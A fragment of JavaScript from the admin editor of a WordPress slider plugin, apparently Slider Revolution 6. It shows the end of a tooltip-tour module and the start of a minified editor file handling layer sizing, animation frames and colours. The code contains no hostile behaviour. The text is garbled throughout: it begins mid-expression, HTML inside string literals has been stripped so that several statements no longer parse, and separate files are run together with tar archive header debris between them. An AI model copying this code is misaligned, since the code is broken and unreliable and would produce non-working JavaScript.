t,s,a,i,r,l,o,n,d=e.length,c=0;c2){e=function(e,t){e=RVS.F.trim(e);for(var s,i,r,l,o,n,d="",c="",p="",h="",u="",f=w.length,_=[],m=0;m').appendTo(jQuery('head')); RVS.F.ajaxRequest('get_tooltips', {}, function(response) { if(response.success) { try { data = JSON.stringify(response.data); data = JSON.parse(data); } catch(e) { data = false; } if(data) init(); else console.log('tooltip ajax error'); } else { console.log('tooltip ajax error'); } }); } function clonePreviewSave() { jQuery(this).clone().addClass('tooltip-save-preview').insertAfter(toolTip); } function openToolTips() { jQuery(shell).appendTo(jQuery('#rb_tlw')); jQuery('.rs-tooltip-btn').not('.tooltip-link').on('click.tooltips', btnClick); jQuery('.rs-tooltip-check').on('click.tooltips', cancelTips); jQuery('#rs-tooltip-close').on('click.tooltips', exitTips); toolTip = jQuery('#rs-tooltip'); tipText = jQuery('.tooltip-text'); section = jQuery('.tooltip-section'); toolTipWidth = toolTip.outerWidth(); linkButton = jQuery('.tooltip-link').on('click.tooltips', openLink); rightToolbar = jQuery('#the_right_toolbar_inner'); tipList = window.RsTooltipList || defaults; totalSteps = tipList.length; currentStep = 0; bodies = jQuery('body'); RVS.WIN.on('keydown.tooltips', keyShortcut).on('resize.tooltips', runStep); jQuery('.rs-save-preview').each(clonePreviewSave); runStep(); } function openLink() { window.open(this.dataset.href); } function closeToolTips() { jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target'); jQuery('.tip-clone').remove(); jQuery('.rs-tooltip-btn').off('.tooltips'); jQuery('.rs-tooltip-check').off('.tooltips'); jQuery('#rs-tooltip-close').off('.tooltips'); jQuery('#rs-tooltip').remove(); jQuery('.tooltip-save-preview').remove(); jQuery('body').removeClass('rb-tooltips-active'); RVS.WIN.off('.tooltips'); linkButton.off('.tooltips'); bodies = null; toolTip = null; tipText = null; section = null; currentTip = null; linkButton = null; rightToolbar = null; currentTarget = null; } function cleanup() { cancelAnimationFrame(displayStep); } function exitTips() { cleanup(); closeToolTips(); } function cancelTips() { RVS.F.ajaxRequest('set_tooltip_preference', false, false, true, true); exitTips(); } function btnClick() { if(this.id === 'rs-tooltip-next') { currentStep++; runStep(); } else { exitTips(); } } function nextButton() { var btn = jQuery('#rs-tooltip-next'); if(!btn.is(':visible')) btn = jQuery('#rs-tooltip-gotit'); btn.trigger('click'); } function runStep() { cleanup(); currentTip = currentData.tooltips[tipList[currentStep]]; tipText.html(currentTip.text); /* if(currentTip.section) section.html(currentTip.section).show(); else section.hide(); */ /* if(currentTip.link) linkButton.attr('data-href', currentTip.link).text(currentTip.linkText).show(); else linkButton.hide(); */ if(currentStep < totalSteps - 1) toolTip.removeClass('tooltip-gotit'); else toolTip.addClass('tooltip-gotit'); if(currentTip.trigger) { let triggers = currentTip.trigger, len = triggers.length; for(let i = 0; i < len; i++) { let trigger = jQuery(triggers[i]); if(trigger.length) { jQuery(trigger).first().trigger('click'); } else { console.log('tooltip trigger does not exist'); nextButton(); return; } } } currentTarget = jQuery(currentTip.target).first(); if(!currentTarget.length) { console.log('tooltip target does not exist'); nextButton(); return; } rightToolbar.scrollTop(0); if(currentTip.scrollTo) { let scrollTo = jQuery(currentTip.scrollTo).filter(':visible'); rightToolbar.scrollTop(scrollTo.offset().top - 50); requestAnimationFrame(displayStep); } requestAnimationFrame(displayStep); } function displayStep() { jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target'); jQuery('.tip-clone').remove(); var offset = currentTarget.offset(), position, placer; toolTip.removeClass(function(i, clas) {return (clas.match (/(^|\s)tip-\S+/g) || []).join(' ');}); toolTip.addClass('tip-' + currentTip.alignment); if(currentTip.margin) toolTip.css('margin', currentTip.margin); else toolTip.css('margin', 0); var padding = currentTarget.css('padding'), paddingLeft = Math.round(parseInt(currentTarget.css('padding-left'), 10) * 0.25); cloned = currentTarget.clone(); cloned.find('input[type="radio"]').each(function() {this.name = this.name + '-tooltip';}); cloned.addClass('tip-clone').css({top: offset.top, left: offset.left, padding: padding}).insertBefore(toolTip); if(currentTip.cssClass) cloned.addClass(currentTip.cssClass); if(currentTip.elementcss) { let css = currentTip.elementcss.split(';'), len = css.length; for(let i = 0; i < len; i++) { let style = css[i].split(':'); cloned.css(RVS.F.trim(style[0]), RVS.F.trim(style[1])); } } if(currentTip.placer) { placer = jQuery(currentTip.placer).first(); if(placer.length) { offset = placer.offset(); } else { console.log('tooltip placer does not exist'); nextButton(); return; } } var noFocus = currentTip.focus === 'none'; if(!currentTip.focus || noFocus) { if(!noFocus) cloned.addClass('tip-focussed'); if(!placer) placer = currentTarget; } else { let clas = currentTip.focusClass || 'tip-focussed'; focussed = cloned.find(currentTip.focus).first().addClass(clas); if(!focussed.length) { console.log('tooltip focus does not exist'); nextButton(); return; } if(!placer) { placer = focussed; offset = placer.offset(); } } position = getPosition(placer, currentTip.alignment); toolTip.css({left: offset.left + position.x - paddingLeft, top: offset.top + position.y}); currentTarget.addClass('tooltip-hide-target'); bodies.addClass('rb-tooltips-active'); if(!currentTip.hidePrevSave) bodies.removeClass('tooltip-hide-preview-save'); else bodies.addClass('tooltip-hide-preview-save'); } function getPosition(target, align) { var xx, yy; switch(align) { case 'top': case 'bottom': xx = (Math.round(target.outerWidth() * 0.5) - Math.round(toolTipWidth * 0.5)); break; case 'left': case 'right': yy = -(Math.round(toolTip.outerHeight() * 0.5) - Math.round(target.outerHeight() * 0.5)); break; case 'bottom-left': case 'top-left': case 'right-top': xx = -toolTip.width(); break; case 'bottom-right': case 'top-right': xx = target.outerWidth(); break; } switch(align) { case 'top': case 'right-top': yy = -(target.outerHeight() + toolTip.height()); break; case 'top-left': case 'top-right': yy = 0; break; case 'bottom': case 'bottom-left': case 'bottom-right': yy = target.outerHeight(); break; case 'left': xx = -toolTipWidth; break; case 'right': xx = target.outerWidth(); break; } return {x: xx, y: yy}; } function keyShortcut(e) { if(e.keyCode === 13) nextButton(); } function init() { currentData = jQuery.extend(true, {}, data); shell = '
    ' + '
    ' + '' + 'redo' + currentData.translations.next_tip + 'thumb_up' + currentData.translations.got_it +'' + '
    ' + '
    ' + currentData.translations.hide_tips + '
    ' + 'close' + '
    '; var btn = jQuery('.tooltip_wrap'), defs = btn.data('tooltip-definitions'); if(defs) { jQuery.extend(true, currentData.tooltips, defs); btn.removeData('tooltip-definitions'); } jQuery(document).on('start-tooltips', openToolTips); btn.data('scriptready', true); openToolTips(); } getData(); })(); admin/assets/js/modules/editor.min.js000060400002666603151724235750013662 0ustar00/*! * REVOLUTION 6.0.0 EDITOR HELPINIT JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ window.HelpGuide={addOnsHelp:[],verifyObject:function(e){return e&&"object"==typeof e&&!Array.isArray(e)},add:function(e){HelpGuide.verifyObject(e)&&(HelpGuide.allHelpPaths?HelpGuide.extendHelpAddOns([e],!0):HelpGuide.addOnsHelp[HelpGuide.addOnsHelp.length]=e)},activate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e,!0)},deactivate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e)}},jQuery(function(){var e;jQuery(".help_wrap").one("click",function(e){jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/help.js")}),jQuery(".tooltip_wrap").on("click",function(){var t=jQuery(this).data("scriptready");e&&!t||(e?jQuery(document).trigger("start-tooltips"):jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/tooltip.js"),e=!0)}),window.RsTooltips=function(e,t,i){window.RsTooltipList=t,revSliderToolTips&&e&&jQuery(".tooltip_wrap").data("tooltip-definitions",i).trigger("click")}}),RVS.S.keyFrame="idle",RVS.S.frameTrgt="layer",RVS.V.frameLevels={levels:["mask","chars","words","lines","color","sfx"]},RVS.LIB.FONTS=[],RVS.CACHE=RVS.CACHE||{},RVS.S.layerPosWaitingToUpdate={},function(){var e,t,i,a,r,s,o,n=[];function l(e){var t=e.a.length>0?e.a[0]:e.v;for(var i in e.a)e.a.hasOwnProperty(i)&&(t=e.a[i]=0?Math.round(parseInt(e.v,0)/e.l.size.aspectRatio[RVS.screen].v):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*e.l.size.aspectRatio[RVS.screen].v):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*e.l.size.aspectRatio[RVS.screen].v))?t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup});break;case"group":case"shape":var t="auto"===e.v?"100px":e.v;!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}),RVS.F.isNumeric(parseInt(t,0))&&(t="width"===e.direction?Math.round(parseInt(t,0)/e.l.size.aspectRatio[RVS.screen].v):Math.round(parseInt(t,0)*e.l.size.aspectRatio[RVS.screen].v),RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}));break;case"video":!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v,ignoreBackup:e.ignoreBackup});var i=e.l.media.ratio.split(":");i=i[0]/i[1],t="auto"===(t="width"===e.direction?RVS.F.isNumeric(e.v)||!RVS.F.isNumeric(e.v)&&e.v.indexOf("px")>=0?Math.round(parseInt(e.v,0)/i):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*i):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*i))?"width"===e.dirB?"100%":t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup});break;case"svg":RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v})}}function p(e){jQuery("framewrap.selected").removeClass("selected").removeClass("selected_0");var t=document.getElementById(RVS.S.slideId+"_"+RVS.selLayers[0]+"_"+("frame_0"===RVS.S.keyFrame?"frame_1":RVS.S.keyFrame));null!=t&&void 0!==t&&(t.className+=" selected"+("frame_0"===RVS.S.keyFrame?" selected_0":""))}function u(e){for(var t in e)if(e.hasOwnProperty(t))if(jQuery.inArray(t,["chars","filter","color","bgcolor","words","lines","mask"])>=0&&!1===e[t].use&&delete e[t],"object"==typeof e[t])for(var i in e[t])"inherit"===e[t][i]&&delete e[t][i];else"inherit"===e[t]&&delete e[t];return e}function R(e,t,i){void 0!==e&&(void 0!==e.frame_0&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_0=_(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),e.frame_0)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.alias=RVS_LANG.enterstage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.presetgroup=i)),void 0!==e.frame_1&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1=_(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),e.frame_1)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.onstage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.presetgroup=i)),void 0!==e.frame_999&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_999=_(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),e.frame_999)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_999.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.leavestage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.presetgroup=i)),void 0!==e.loop&&(RVS.L[RVS.selLayers[0]].timeline.loop=jQuery.extend(!0,f(),e.loop),RVS.L[RVS.selLayers[0]].timeline.loop.start=RVS.L[RVS.selLayers[0]].timelinecache.loop.start,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.loop.preset=t,RVS.L[RVS.selLayers[0]].timeline.loop.presetgroup=i)),clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50))}function V(e,t,i){switch(t){case"layerTextColorHover":case"layerTextColor":case"layerTextColorInFrame":case"frameColorAnimation":jQuery.inArray(RVS.L[e].type,["text","button"])>=0&&(void 0!==RVS.H[e].splitText?tpGS.gsap.to([RVS.H[e].c,RVS.H[e].splitText.chars,RVS.H[e].splitText.words,RVS.H[e].splitText.lines],.001,{color:i}):tpGS.gsap.to([RVS.H[e].c],.001,{color:i}));break;case"frameBGColorAnimation":case"frameBGColorAnimationDouble":case"layerBGColor":i.indexOf("gradient")>=0?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i}):void 0!==RVS.L[e].idle.backgroundImage?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{backgroundImage:"url("+RVS.L[e].idle.backgroundImage+")",backgroundColor:i}):tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i});break;case"layerBorderColor":tpGS.gsap.to([RVS.H[e].c],.001,{borderColor:i});break;case"layerSVGColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{fill:i});break;case"layerStrokeColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{stroke:i})}}function m(e,t,i,a,r,s){if(void 0!==t?window.lastColorEditjObj=t:void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),void 0!==i){for(var o in void 0!==t&&r&&t.val(a||i).change(),RVS.selLayers){if(RVS.selLayers.hasOwnProperty(o))V(n=RVS.selLayers[o],window.lastColorEditjObj[0].name,i)}if(s)for(var n in s.ref)if("layer"===s.ref[n].type&&s.ref[n].slide==RVS.S.slideId&&V(s.ref[n].layer,s.ref[n].inpname,i),"layer"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i,slide:s.ref[n].slide}),s.ref[n].slide==RVS.S.slideId&&RVS.selLayers[0]==s.ref[n].layer){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else s.ref[n].slide!=RVS.S.slideId&&RVS.F.slideinWork(s.ref[n].slide);if(r||"colorcancel"===e.type)for(var n in RVS.selLayers)RVS.selLayers.hasOwnProperty(n)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[n]})}}function y(e,t,i){var a=t.indexOf("i")>=0,r=100*parseInt(t.replace(/[^0-9]/,""),0);for(var s in RVS.L)RVS.L.hasOwnProperty(s)&&("text"===RVS.L[s].type||"button"===RVS.L[s].type)&&RVS.L[s].idle.fontFamily==e&&(!a&&!RVS.L[s].idle.fontStyle||a&&RVS.L[s].idle.fontStyle)&&RVS.L[s].idle.fontWeight[RVS.screen].v==r&&RVS.F.drawHTMLLayer({uid:RVS.L[s].uid});setTimeout(function(){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&("text"===RVS.L[t].type||"button"===RVS.L[t].type)&&RVS.L[t].idle.fontFamily==e&&(!a&&!RVS.L[t].idle.fontStyle||a&&RVS.L[t].idle.fontStyle)&&RVS.L[t].idle.fontWeight[RVS.screen].v==r&&RVS.F.updateHTMLLayerPosition({uid:RVS.L[t].uid})},150)}function g(e,t){return null==e?t:e}function f(e){return(e=void 0===e?{}:e).frame_0=void 0===e.frame_0?{}:e.frame_0,e.frame_999=void 0===e.frame_999?{}:e.frame_999,{use:g(e.use,!1),ease:g(e.ease,"none"),speed:g(e.speed,1e3),originX:g(e.originX,"50%"),originY:g(e.originX,"50%"),radiusAngle:g(e.radiusAngle,0),curviness:g(e.curviness,2),curved:g(e.curved,!1),yoyo_move:g(e.yoyo_move,!1),yoyo_rotate:g(e.yoyo_rotate,!1),yoyo_scale:g(e.yoyo_scale,!1),yoyo_filter:g(e.yoyo_filter,!1),repeat:g(e.repeat,"-1"),start:g(e.start,300),autoRotate:g(e.autoRotate,!1),frame_0:{yr:g(e.frame_0.yr,0),zr:g(e.frame_0.zr,0),x:g(e.frame_0.x,0),y:g(e.frame_0.y,0),z:g(e.frame_0.z,0),scaleX:g(e.frame_0.scaleX,1),scaleY:g(e.frame_0.scaleY,1),opacity:g(e.frame_0.opacity,1),rotationX:g(e.frame_0.rotationX,0),rotationY:g(e.frame_0.rotationY,0),rotationZ:g(e.frame_0.rotationZ,0),skewX:g(e.frame_0.skewX,0),skewY:g(e.frame_0.skewY,0),blur:0,brightness:100,grayscale:0},frame_999:{xr:g(e.frame_999.xr,0),yr:g(e.frame_999.yr,0),zr:g(e.frame_999.zr,0),x:g(e.frame_999.x,0),y:g(e.frame_999.y,0),z:g(e.frame_999.z,0),scaleX:g(e.frame_999.scaleX,1),scaleY:g(e.frame_999.scaleY,1),opacity:g(e.frame_999.opacity,1),rotationX:g(e.frame_999.rotationX,0),rotationY:g(e.frame_999.rotationY,0),rotationZ:g(e.frame_999.rotationZ,0),skewX:g(e.frame_999.skewX,0),skewY:g(e.frame_999.skewY,0),blur:0,brightness:100,grayscale:0}}}function h(e,t){NRI="frame_0"===t?0:"frame_1"===t?1:2,(e=void 0===e?{}:e).chars=void 0===e.chars?{}:e.chars,e.words=void 0===e.words?{}:e.words,e.lines=void 0===e.lines?{}:e.lines,e.mask=void 0===e.mask?{}:e.mask,e.color=void 0===e.color?{}:e.color,e.bgcolor=void 0===e.bgcolor?{}:e.bgcolor;var i=g(e.grayscale,[0,0,0][NRI]),a=g(e.brightness,[100,100,100][NRI]),r=g(e.blur,[0,0,0][NRI]),s=0!==parseInt(i,0)||100!==parseInt(a,0)||0!==parseInt(r,0),o=g(e.bgrayscale,[0,0,0][NRI]),n=g(e.bbrightness,[100,100,100][NRI]),l=g(e.bblur,[0,0,0][NRI]),d=g(e.binvert,[0,0,0][NRI]),S=g(e.bsepia,[0,0,0][NRI]),c=0!==parseInt(o,0)||100!==parseInt(n,0)||0!==parseInt(l,0)||0!==parseInt(d,0)||0!==parseInt(S,0),p={alias:g(e.alias,RVS_LANG.onstage),filter:{use:s,grayscale:i,brightness:a,blur:r},bfilter:{use:c,grayscale:o,brightness:n,blur:l,sepia:S,invert:d},transform:{x:RVS.F.cToResp({default:g(e.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:g(e.y,[0,0,"inherit"][NRI])}),z:g(e.z,[0,0,"inherit"][NRI]),scaleX:g(e.scaleX,[1,1,"inherit"][NRI]),scaleY:g(e.scaleY,[1,1,"inherit"][NRI]),opacity:g(e.opacity,[0,1,"inherit"][NRI]),rotationX:g(e.rotationX,[0,0,"inherit"][NRI]),rotationY:g(e.rotationY,[0,0,"inherit"][NRI]),rotationZ:g(e.rotationZ,[0,0,"inherit"][NRI]),skewX:g(e.skewX,[0,0,"inherit"][NRI]),skewY:g(e.skewY,[0,0,"inherit"][NRI]),originX:g(e.originX,["50%","50%","50%"][NRI]),originY:g(e.originY,["50%","50%","50%"][NRI]),originZ:g(e.originZ,["0","0","0"][NRI]),transformPerspective:g(RVS.SLIDER.settings.general.perspective,["600px","600px","600px"][NRI]),clip:g(e.clip,[100,100,"inherit"][NRI]),clipB:g(e.clipB,[100,100,"inherit"][NRI])},reverseDirection:{x:g(e.rx,!1),y:g(e.ry,!1),rotationX:g(e.rrotationX,!1),rotationY:g(e.rrotationY,!1),rotationZ:g(e.rrotationZ,!1),skewX:g(e.rskewX,!1),skewY:g(e.rskewY,!1),maskX:g(e.rmaskX,!1),maskY:g(e.rmaskY,!1),charsX:g(e.crx,!1),charsY:g(e.cry,!1),charsDirection:g(e.crsd,!1),wordsX:g(e.wrx,!1),wordsY:g(e.wry,!1),wordsDirection:g(e.wrsd,!1),linesX:g(e.lrx,!1),linesY:g(e.lry,!1),linesDirection:g(e.lrsd,!1)},mask:{use:g(e.mask.use,!1),x:RVS.F.cToResp({default:g(e.mask.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:g(e.mask.y,[0,0,"inherit"][NRI])})},color:{color:g(e.color.color,"#ffffff"),use:g(e.color.use,!1)},bgcolor:{backgroundColor:g(e.bgcolor.backgroundColor,"transparent"),use:g(e.bgcolor.use,!1)},timeline:{actionTriggered:g(e.actionTriggered,!1),ease:g(e.ease,"power3.inOut"),speed:g(e.speed,300),start:g(e.start,0),startRelative:g(e.startRelative,0),endWithSlide:g(e.endWithSlide,!1)},chars:{ease:g(e.chars.ease,"inherit"),use:g(e.chars.use,!1),direction:g(e.chars.direction,"forward"),delay:g(e.chars.delay,5),x:RVS.F.cToResp({default:g(e.chars.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:g(e.chars.y,[0,0,"inherit"][NRI])}),z:g(e.chars.z,[0,0,"inherit"][NRI]),scaleX:g(e.chars.scaleX,[1,1,"inherit"][NRI]),scaleY:g(e.chars.scaleY,[1,1,"inherit"][NRI]),opacity:g(e.chars.opacity,"inherit"),rotationX:g(e.chars.rotationX,[0,0,"inherit"][NRI]),rotationY:g(e.chars.rotationY,[0,0,"inherit"][NRI]),rotationZ:g(e.chars.rotationZ,[0,0,"inherit"][NRI]),skewX:g(e.chars.skewX,[0,0,"inherit"][NRI]),skewY:g(e.chars.skewY,[0,0,"inherit"][NRI]),originX:g(e.chars.originX,["50%","50%","inherit"][NRI]),originY:g(e.chars.originY,["50%","50%","inherit"][NRI]),originZ:g(e.chars.originZ,["0","0","inherit"][NRI]),fuse:g(e.chars.fuse,!1),blur:g(e.chars.blur,[0,0,0][NRI]),grayscale:g(e.chars.grayscale,[0,0,0][NRI]),brightness:g(e.chars.brightness,[100,100,100][NRI])},words:{ease:g(e.words.ease,"inherit"),use:g(e.words.use,!1),direction:g(e.words.direction,"forward"),delay:g(e.words.delay,5),x:RVS.F.cToResp({default:g(e.words.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:g(e.words.y,[0,0,"inherit"][NRI])}),z:g(e.words.z,[0,0,"inherit"][NRI]),scaleX:g(e.words.scaleX,[1,1,"inherit"][NRI]),scaleY:g(e.words.scaleY,[1,1,"inherit"][NRI]),opacity:g(e.words.opacity,"inherit"),rotationX:g(e.words.rotationX,[0,0,"inherit"][NRI]),rotationY:g(e.words.rotationY,[0,0,"inherit"][NRI]),rotationZ:g(e.words.rotationZ,[0,0,"inherit"][NRI]),skewX:g(e.words.skewX,[0,0,"inherit"][NRI]),skewY:g(e.words.skewY,[0,0,"inherit"][NRI]),originX:g(e.words.originX,["50%","50%","inherit"][NRI]),originY:g(e.words.originY,["50%","50%","inherit"][NRI]),originZ:g(e.words.originY,["0","0","inherit"][NRI]),fuse:g(e.words.fuse,!1),blur:g(e.words.blur,[0,0,0][NRI]),grayscale:g(e.words.grayscale,[0,0,0][NRI]),brightness:g(e.words.brightness,[100,100,100][NRI])},lines:{ease:g(e.lines.ease,"inherit"),use:g(e.lines.use,!1),direction:g(e.lines.direction,"forward"),delay:g(e.lines.delay,5),x:RVS.F.cToResp({default:g(e.lines.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:g(e.lines.y,[0,0,"inherit"][NRI])}),z:g(e.lines.z,[0,0,"inherit"][NRI]),scaleX:g(e.lines.scaleX,[1,1,"inherit"][NRI]),scaleY:g(e.lines.scaleY,[1,1,"inherit"][NRI]),opacity:g(e.lines.opacity,"inherit"),rotationX:g(e.lines.rotationX,[0,0,"inherit"][NRI]),rotationY:g(e.lines.rotationY,[0,0,"inherit"][NRI]),rotationZ:g(e.lines.rotationZ,[0,0,"inherit"][NRI]),skewX:g(e.lines.skewX,[0,0,"inherit"][NRI]),skewY:g(e.lines.skewY,[0,0,"inherit"][NRI]),originX:g(e.lines.originX,["50%","50%","inherit"][NRI]),originY:g(e.lines.originY,["50%","50%","inherit"][NRI]),originZ:g(e.lines.originY,["0","0","inherit"][NRI]),fuse:g(e.lines.fuse,!1),blur:g(e.lines.blur,[0,0,0][NRI]),grayscale:g(e.lines.grayscale,[0,0,0][NRI]),brightness:g(e.lines.brightness,[100,100,100][NRI])},sfx:{effect:g(e.effect,""),color:g(e.sfxcolor,"#ffffff")}};for(var u in p.sfx.effect="blockfrombottom"===p.sfx.effect?"blocktotop":"blockfromtop"===p.sfx.effect?"blocktobottom":"blockfromleft"===p.sfx.effect?"blocktoright":"blockfromright"===p.sfx.effect?"blocktoleft":"none",RVS.JHOOKS.defaultFrame)RVS.JHOOKS.defaultFrame.hasOwnProperty(u)&&(p=RVS.JHOOKS.defaultFrame[u](p));return p}function v(e,t){return e&&("object"!=typeof e.x&&(e.x=RVS.F.cToResp({default:g(e.x,t)})),"object"!=typeof e.y&&(e.y=RVS.F.cToResp({default:g(e.y,t)}))),e}function _(e){return e.transform=v(e.transform,0),e.mask=v(e.mask,0),e.chars=v(e.chars,"inherit"),e.words=v(e.words,"inherit"),e.lines=v(e.lines,"inherit"),e}RVS.F.initLayerBuilder=function(){RVS.C.slit=document.getElementById("selected_layers_icon_toolbar"),RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png",function(){RVS.LIB.LAYERANIMS.animSettings=jQuery("#form_layer_animation_innerwrap");var e={in:"",out:"",loop:""};for(var t in RVS.LIB.LAYERANIMS)if(RVS.LIB.LAYERANIMS.hasOwnProperty(t)&&("in"===t||"out"===t||"loop"===t))for(var i in RVS.LIB.LAYERANIMS[t])if(RVS.LIB.LAYERANIMS[t].hasOwnProperty(i)){var a='
    '+RVS.LIB.LAYERANIMS[t][i].group+'
    arrow_drop_down
    ';if(RVS.LIB.LAYERANIMS[t][i].custom)for(var r in a+='
    '+RVS_LANG.savecurrenttemplate+'
    donecloseadd
    ',RVS.LIB.LAYERANIMS[t][i].amount=1,RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex=void 0===RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex?RVS.LIB.LAYERANIMS[t][i].amount:RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,a+='
    '+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+'
    '+RVS_LANG.overwritetemplate+'
    donecloseeditsavedelete
    ',RVS.LIB.LAYERANIMS[t][i].amount=parseInt(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,0)+1);else for(var r in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(a+='
    '+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+"
    ");a+="
    ",e[t]+=a}RVS.LIB.LAYERANIMS.translists={0:jQuery('
    '+e.in+"
    "),999:jQuery('
    '+e.out+"
    ")},jQuery("#layer_transliste_loop").append(e.loop)}(),RVS.DOC.on("coloredit colorcancel",m),jQuery("#builderView").on("dragover dragenter",function(e){var t=e.originalEvent.dataTransfer;t.types&&(t.types.indexOf?-1!=t.types.indexOf("Files"):t.types.contains("Files"))&&!RVS.S.dragginginside&&0===jQuery("#filedrop").length&&RVS.F.browserDroppable.init({onlydrop:!0,success:"uploadImagesAndCreateLayer",action:"add_to_media_library"})}),RVS.DOC.on("positionPositionUpdate",function(e,t){var i;void 0!==t&&(RVS.F.updateLayerPositionClass(t.layerid,!0),void 0===RVS.L[RVS.L[t.layerid].group.puid]||"group"!==RVS.L[RVS.L[t.layerid].group.puid].type&&"column"!==RVS.L[RVS.L[t.layerid].group.puid].type||(i={top:RVS.H[t.layerid].w[0].offsetTop,left:RVS.H[t.layerid].w[0].offsetLeft},void 0!==RVS.C.layer_pos_x&&(RVS.C.layer_pos_x.value=i.top),void 0!==RVS.C.layer_pos_y&&(RVS.C.layer_pos_y.value=i.left),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),requestAnimationFrame(function(){RVS.DOC.trigger("sliderSizeChanged")})))}),RVS.DOC.on("layerAlignChanged",function(e,t){}),RVS.DOC.on("windowresized",function(){RVS.F.updateCoveredLayers(),RVS.F.drawSlideBasedPercenatages()}),RVS.DOC.on("windowresized, updatesliderlayout_main",function(){setTimeout(function(){RVS.F.updateCoveredLayers(!0)},250)}),RVS.DOC.on("updatelayerpostermpeg",function(e,t){void 0!==t&&void 